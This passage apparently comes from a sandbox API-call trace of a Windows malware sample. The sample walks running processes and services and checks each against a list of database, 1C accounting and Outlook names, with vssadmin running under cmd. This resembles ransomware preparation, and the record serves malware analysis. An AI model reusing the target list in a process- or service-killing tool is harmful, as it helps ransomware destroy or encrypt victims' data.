pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.181] lstrlenW (lpString="System") returned 6 [0213.181] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0213.181] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0213.181] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0213.182] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0213.182] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0213.182] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0213.182] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0213.182] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.182] lstrlenW (lpString="smss.exe") returned 8 [0213.182] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0213.182] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0213.182] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.183] lstrlenW (lpString="csrss.exe") returned 9 [0213.183] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.184] lstrlenW (lpString="wininit.exe") returned 11 [0213.184] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.184] lstrlenW (lpString="csrss.exe") returned 9 [0213.184] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.185] lstrlenW (lpString="winlogon.exe") returned 12 [0213.185] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.186] lstrlenW (lpString="services.exe") returned 12 [0213.186] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.186] lstrlenW (lpString="lsass.exe") returned 9 [0213.186] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0213.187] lstrlenW (lpString="lsm.exe") returned 7 [0213.187] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.188] lstrlenW (lpString="svchost.exe") returned 11 [0213.188] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.193] lstrlenW (lpString="svchost.exe") returned 11 [0213.193] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.193] lstrlenW (lpString="svchost.exe") returned 11 [0213.193] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.194] lstrlenW (lpString="svchost.exe") returned 11 [0213.194] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.195] lstrlenW (lpString="svchost.exe") returned 11 [0213.195] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.196] lstrlenW (lpString="audiodg.exe") returned 11 [0213.196] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.196] lstrlenW (lpString="svchost.exe") returned 11 [0213.197] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.197] lstrlenW (lpString="svchost.exe") returned 11 [0213.197] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.198] lstrlenW (lpString="dwm.exe") returned 7 [0213.198] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.198] lstrlenW (lpString="explorer.exe") returned 12 [0213.198] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.199] lstrlenW (lpString="spoolsv.exe") returned 11 [0213.199] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.200] lstrlenW (lpString="taskhost.exe") returned 12 [0213.200] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.200] lstrlenW (lpString="svchost.exe") returned 11 [0213.200] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0213.201] lstrlenW (lpString="taskeng.exe") returned 11 [0213.201] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0213.201] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0213.201] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0213.202] lstrlenW (lpString="nova.exe") returned 8 [0213.202] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0213.204] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0213.204] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0213.204] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0213.205] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0213.205] lstrlenW (lpString="picks blair.exe") returned 15 [0213.205] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0213.206] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0213.206] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0213.206] lstrlenW (lpString="principal.exe") returned 13 [0213.206] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0213.387] lstrlenW (lpString="transportation.exe") returned 18 [0213.387] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0213.387] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0213.387] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0213.388] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0213.388] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0213.389] lstrlenW (lpString="planned.exe") returned 11 [0213.389] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0213.389] lstrlenW (lpString="springer andrew.exe") returned 19 [0213.389] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0213.390] lstrlenW (lpString="cakes import.exe") returned 16 [0213.390] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0213.391] lstrlenW (lpString="theory.exe") returned 10 [0213.391] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0213.391] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0213.391] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0213.392] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0213.392] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0213.393] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0213.393] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0213.527] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0213.527] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0213.527] lstrlenW (lpString="indicescancellation.exe") returned 23 [0213.528] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0213.528] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0213.528] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0213.529] lstrlenW (lpString="desk.exe") returned 8 [0213.529] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.529] lstrlenW (lpString="svchost.exe") returned 11 [0213.529] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0213.530] lstrlenW (lpString="sppsvc.exe") returned 10 [0213.530] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.531] lstrlenW (lpString="svchost.exe") returned 11 [0213.531] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.531] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.531] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.532] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.532] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0213.532] lstrlenW (lpString="winhost.exe") returned 11 [0213.532] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0213.533] lstrlenW (lpString="cmd.exe") returned 7 [0213.533] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.534] lstrlenW (lpString="conhost.exe") returned 11 [0213.534] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0213.534] lstrlenW (lpString="vssadmin.exe") returned 12 [0213.534] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0213.535] lstrlenW (lpString="VSSVC.exe") returned 9 [0213.535] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0213.535] CloseHandle (hObject=0x168) returned 1 [0213.535] Sleep (dwMilliseconds=0x1f4) [0214.396] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6401f8 [0214.414] EnumServicesStatusExW (in: hSCManager=0x6401f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0214.414] GetLastError () returned 0xea [0214.414] EnumServicesStatusExW (in: hSCManager=0x6401f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e218, cbBufSize=0x13a6, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e218, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0214.415] CloseServiceHandle (hSCObject=0x6401f8) returned 1 [0214.415] lstrlenW (lpString="Appinfo") returned 7 [0214.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0214.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0214.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0214.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0214.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0214.415] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0214.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0214.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0214.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0214.415] lstrlenW (lpString="AudioSrv") returned 8 [0214.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0214.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0214.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0214.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0214.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0214.415] lstrlenW (lpString="BFE") returned 3 [0214.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0214.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0214.415] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0214.415] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0214.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0214.415] lstrlenW (lpString="CryptSvc") returned 8 [0214.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0214.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0214.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0214.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0214.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0214.415] lstrlenW (lpString="CscService") returned 10 [0214.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0214.416] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0214.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0214.416] lstrlenW (lpString="DcomLaunch") returned 10 [0214.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0214.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0214.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0214.416] lstrlenW (lpString="Dhcp") returned 4 [0214.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0214.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0214.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0214.416] lstrlenW (lpString="Dnscache") returned 8 [0214.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0214.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0214.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0214.416] lstrlenW (lpString="DPS") returned 3 [0214.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0214.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0214.416] 